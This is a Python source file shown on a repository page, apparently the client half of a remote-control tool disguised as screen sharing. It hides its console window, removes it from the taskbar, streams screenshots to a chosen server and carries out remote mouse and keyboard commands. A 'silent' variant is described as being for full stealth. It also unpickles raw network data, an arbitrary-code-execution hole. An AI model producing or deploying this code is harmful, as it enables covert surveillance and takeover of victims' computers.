Repository navigation
Expand file tree
/
Copy pathclient.py
More file actions
464 lines (389 loc) · 19.6 KB
/
Copy pathclient.py
File metadata and controls
464 lines (389 loc) · 19.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
import socket
import threading
import cv2
import numpy as np
import pyautogui
from pynput import mouse, keyboard
import tkinter as tk
from tkinter import messagebox, simpledialog
import struct
import pickle
import time
import sys
import os
import ctypes
from ctypes import wintypes
import signal
import atexit
class ScreenShareClient:
def __init__(self):
self.socket = None
self.running = False
self.server_ip = None
self.server_port = None
self.main_thread = None
# Регистрируем обработчики для корректного завершения
signal.signal(signal.SIGINT, self.signal_handler)
signal.signal(signal.SIGTERM, self.signal_handler)
atexit.register(self.cleanup)
# Показываем диалог подключения только один раз
if not self.show_connection_dialog():
sys.exit(0)
# Скрываем консольное окно и приложение после ввода данных
self.hide_console()
self.hide_application()
def signal_handler(self, signum, frame):
"""Обработчик сигналов для корректного завершения"""
print(f"Received signal {signum}, shutting down...")
self.cleanup()
sys.exit(0)
def hide_console(self):
"""Скрывает консольное окно"""
try:
# Получаем handle консольного окна
console_window = ctypes.windll.kernel32.GetConsoleWindow()
if console_window:
# Скрываем окно
ctypes.windll.user32.ShowWindow(console_window, 0)
# Убираем окно из панели задач
ctypes.windll.user32.SetWindowLongW(console_window, -20,
ctypes.windll.user32.GetWindowLongW(console_window, -20) | 0x00000080)
except:
pass
def hide_application(self):
"""Скрывает приложение полностью"""
try:
# Получаем handle текущего процесса
hwnd = ctypes.windll.kernel32.GetConsoleWindow()
if hwnd:
# Скрываем окно
ctypes.windll.user32.ShowWindow(hwnd, 0)
except:
pass
def show_connection_dialog(self):
"""Показывает диалог для ввода IP и порта"""
try:
# Создаем скрытое окно для диалога
root = tk.Tk()
root.withdraw() # Скрываем основное окно
# Показываем диалог
server_ip = simpledialog.askstring("Connection",
"Enter server IP address:",
parent=root)
if not server_ip:
root.destroy()
return False
server_port = simpledialog.askstring("Connection",
"Enter server port (default: 9999):",
parent=root)
if not server_port:
server_port = "9999"
try:
self.server_port = int(server_port)
except ValueError:
messagebox.showerror("Error", "Invalid port number")
root.destroy()
return False
self.server_ip = server_ip
root.destroy()
return True
except Exception as e:
return False
def connect_to_server(self):
"""Подключается к серверу"""
try:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((self.server_ip, self.server_port))
self.running = True
print(f"[CLIENT] Connected to server {self.server_ip}:{self.server_port}")
return True
except Exception as e:
print(f"[CLIENT] Failed to connect to server: {e}")
return False
def send_screen(self):
"""Отправляет скриншоты на сервер"""
try:
while self.running and self.socket:
# Делаем скриншот
screenshot = pyautogui.screenshot()
frame = np.array(screenshot)
frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
# Получаем размеры экрана
screen_width, screen_height = pyautogui.size()
# Изменяем размер до HD (1280x720) или Full HD (1920x1080)
if screen_width >= 1920 and screen_height >= 1080:
target_width, target_height = 1920, 1080
else:
target_width, target_height = 1280, 720
# Изменяем размер изображения
frame = cv2.resize(frame, (target_width, target_height), interpolation=cv2.INTER_LANCZOS4)
# Сжимаем изображение
encode_param = [int(cv2.IMWRITE_JPEG_QUALITY), 80]
_, buffer = cv2.imencode('.jpg', frame, encode_param)
# Отправляем размер данных и сами данные
data_size = len(buffer)
self.socket.send(struct.pack('!I', data_size))
self.socket.send(buffer.tobytes())
time.sleep(0.05) # 20 FPS для более плавной передачи
except Exception as e:
pass
finally:
self.cleanup()
def receive_control(self):
"""Принимает команды управления от сервера"""
try:
while self.running and self.socket:
command_data = self.socket.recv(1024)
if not command_data:
print("[CLIENT] No command data received, breaking loop.")
break
print("[CLIENT] Received raw command data:", command_data)
try:
command = pickle.loads(command_data)
print("[CLIENT] Unpickled command:", command)
self.execute_command(command)
except Exception as e:
print("[CLIENT] Error unpickling command:", e)
except Exception as e:
print("[CLIENT] Error in receive_control:", e)
def execute_command(self, command):
"""Выполняет команду управления"""
try:
print("[CLIENT] Executing command:", command)
cmd_type = command.get('type')
if cmd_type == 'mouse_move':
x, y = command['x'], command['y']
# Получаем размеры экрана для масштабирования
screen_width, screen_height = pyautogui.size()
# Масштабируем координаты обратно к реальному размеру экрана
real_x = int(x * screen_width / 1280) if screen_width < 1920 else int(x * screen_width / 1920)
real_y = int(y * screen_height / 720) if screen_height < 1080 else int(y * screen_height / 1080)
pyautogui.moveTo(real_x, real_y)
elif cmd_type == 'mouse_click':
x, y = command['x'], command['y']
button = command.get('button', 'left')
# Масштабируем координаты
screen_width, screen_height = pyautogui.size()
real_x = int(x * screen_width / 1280) if screen_width < 1920 else int(x * screen_width / 1920)
real_y = int(y * screen_height / 720) if screen_height < 1080 else int(y * screen_height / 1080)
pyautogui.click(real_x, real_y, button=button)
elif cmd_type == 'mouse_double_click':
x, y = command['x'], command['y']
button = command.get('button', 'left')
# Масштабируем координаты
screen_width, screen_height = pyautogui.size()
real_x = int(x * screen_width / 1280) if screen_width < 1920 else int(x * screen_width / 1920)
real_y = int(y * screen_height / 720) if screen_height < 1080 else int(y * screen_height / 1080)
pyautogui.doubleClick(real_x, real_y, button=button)
elif cmd_type == 'mouse_scroll':
x, y = command['x'], command['y']
clicks = command.get('clicks', 1)
# Масштабируем координаты
screen_width, screen_height = pyautogui.size()
real_x = int(x * screen_width / 1280) if screen_width < 1920 else int(x * screen_width / 1920)
real_y = int(y * screen_height / 720) if screen_height < 1080 else int(y * screen_height / 1080)
pyautogui.scroll(clicks, x=real_x, y=real_y)
elif cmd_type == 'key_press':
key = command['key']
pyautogui.press(key)
elif cmd_type == 'key_type':
text = command['text']
pyautogui.typewrite(text)
elif cmd_type == 'key_combination':
keys = command['keys']
pyautogui.hotkey(*keys)
except Exception as e:
print("[CLIENT] Error in execute_command:", e)
def run(self):
"""Запускает клиент"""
if not self.connect_to_server():
print("[CLIENT] Could not connect to server, exiting.")
return
print("[CLIENT] Starting screen and control threads...")
# Запускаем потоки
screen_thread = threading.Thread(target=self.send_screen, daemon=True)
screen_thread.start()
control_thread = threading.Thread(target=self.receive_control, daemon=True)
control_thread.start()
# Основной цикл в отдельном потоке
self.main_thread = threading.Thread(target=self.main_loop, daemon=True)
self.main_thread.start()
# Ждем завершения основного потока
self.main_thread.join()
def main_loop(self):
"""Основной цикл приложения"""
try:
while self.running:
time.sleep(0.1)
except KeyboardInterrupt:
pass
finally:
self.cleanup()
def cleanup(self):
"""Очищает ресурсы"""
self.running = False
if self.socket:
try:
self.socket.close()
except:
pass
# Альтернативная версия клиента без GUI (для полной скрытности)
class SilentClient:
def __init__(self):
self.socket = None
self.running = False
self.server_ip = None
self.server_port = None
self.main_thread = None
# Регистрируем обработчики для корректного завершения
signal.signal(signal.SIGINT, self.signal_handler)
signal.signal(signal.SIGTERM, self.signal_handler)
atexit.register(self.cleanup)
# Получаем параметры подключения из аргументов командной строки
if len(sys.argv) >= 3:
self.server_ip = sys.argv[1]
try:
self.server_port = int(sys.argv[2])
except ValueError:
self.server_port = 9999
else:
# Если аргументы не переданы, используем значения по умолчанию
self.server_ip = "127.0.0.1"
self.server_port = 9999
def signal_handler(self, signum, frame):
"""Обработчик сигналов для корректного завершения"""
self.cleanup()
sys.exit(0)
def connect_to_server(self):
"""Подключается к серверу"""
try:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((self.server_ip, self.server_port))
self.running = True
return True
except Exception as e:
return False
def send_screen(self):
"""Отправляет скриншоты на сервер"""
try:
while self.running and self.socket:
# Делаем скриншот
screenshot = pyautogui.screenshot()
frame = np.array(screenshot)
frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
# Получаем размеры экрана
screen_width, screen_height = pyautogui.size()
# Изменяем размер до HD (1280x720) или Full HD (1920x1080)
if screen_width >= 1920 and screen_height >= 1080:
target_width, target_height = 1920, 1080
else:
target_width, target_height = 1280, 720
# Изменяем размер изображения
frame = cv2.resize(frame, (target_width, target_height), interpolation=cv2.INTER_LANCZOS4)
# Сжимаем изображение
encode_param = [int(cv2.IMWRITE_JPEG_QUALITY), 80]
_, buffer = cv2.imencode('.jpg', frame, encode_param)
# Отправляем размер данных и сами данные
data_size = len(buffer)
self.socket.send(struct.pack('!I', data_size))
self.socket.send(buffer.tobytes())
time.sleep(0.05) # 20 FPS для более плавной передачи
except Exception as e:
pass
def receive_control(self):
"""Принимает команды управления от сервера"""
try:
while self.running and self.socket:
# Получаем команду
command_data = self.socket.recv(1024)
if not command_data:
break
command = pickle.loads(command_data)
self.execute_command(command)
except Exception as e:
pass
def execute_command(self, command):
"""Выполняет команду управления"""
try:
cmd_type = command.get('type')
if cmd_type == 'mouse_move':
x, y = command['x'], command['y']
# Получаем размеры экрана для масштабирования
screen_width, screen_height = pyautogui.size()
# Масштабируем координаты обратно к реальному размеру экрана
real_x = int(x * screen_width / 1280) if screen_width < 1920 else int(x * screen_width / 1920)
real_y = int(y * screen_height / 720) if screen_height < 1080 else int(y * screen_height / 1080)
pyautogui.moveTo(real_x, real_y)
elif cmd_type == 'mouse_click':
x, y = command['x'], command['y']
button = command.get('button', 'left')
# Масштабируем координаты
screen_width, screen_height = pyautogui.size()
real_x = int(x * screen_width / 1280) if screen_width < 1920 else int(x * screen_width / 1920)
real_y = int(y * screen_height / 720) if screen_height < 1080 else int(y * screen_height / 1080)
pyautogui.click(real_x, real_y, button=button)
elif cmd_type == 'mouse_double_click':
x, y = command['x'], command['y']
button = command.get('button', 'left')
# Масштабируем координаты
screen_width, screen_height = pyautogui.size()
real_x = int(x * screen_width / 1280) if screen_width < 1920 else int(x * screen_width / 1920)
real_y = int(y * screen_height / 720) if screen_height < 1080 else int(y * screen_height / 1080)
pyautogui.doubleClick(real_x, real_y, button=button)
elif cmd_type == 'mouse_scroll':
x, y = command['x'], command['y']
clicks = command.get('clicks', 1)
# Масштабируем координаты
screen_width, screen_height = pyautogui.size()
real_x = int(x * screen_width / 1280) if screen_width < 1920 else int(x * screen_width / 1920)
real_y = int(y * screen_height / 720) if screen_height < 1080 else int(y * screen_height / 1080)
pyautogui.scroll(clicks, x=real_x, y=real_y)
elif cmd_type == 'key_press':
key = command['key']
pyautogui.press(key)
elif cmd_type == 'key_type':
text = command['text']
pyautogui.typewrite(text)
elif cmd_type == 'key_combination':
keys = command['keys']
pyautogui.hotkey(*keys)
except Exception as e:
pass
def run(self):
"""Запускает клиент"""
if not self.connect_to_server():
return
# Запускаем потоки
screen_thread = threading.Thread(target=self.send_screen, daemon=True)
screen_thread.start()
control_thread = threading.Thread(target=self.receive_control, daemon=True)
control_thread.start()
# Основной цикл в отдельном потоке
self.main_thread = threading.Thread(target=self.main_loop, daemon=True)
self.main_thread.start()
# Ждем завершения основного потока
self.main_thread.join()
def main_loop(self):
"""Основной цикл приложения"""
try:
while self.running:
time.sleep(0.1)
except KeyboardInterrupt:
pass
finally:
self.cleanup()
def cleanup(self):
"""Очищает ресурсы"""
self.running = False
if self.socket:
try:
self.socket.close()
except:
pass
if __name__ == "__main__":
# Выбираем тип клиента в зависимости от аргументов
if len(sys.argv) > 1 and sys.argv[1] == "--silent":
client = SilentClient()
else:
client = ScreenShareClient()
client.run()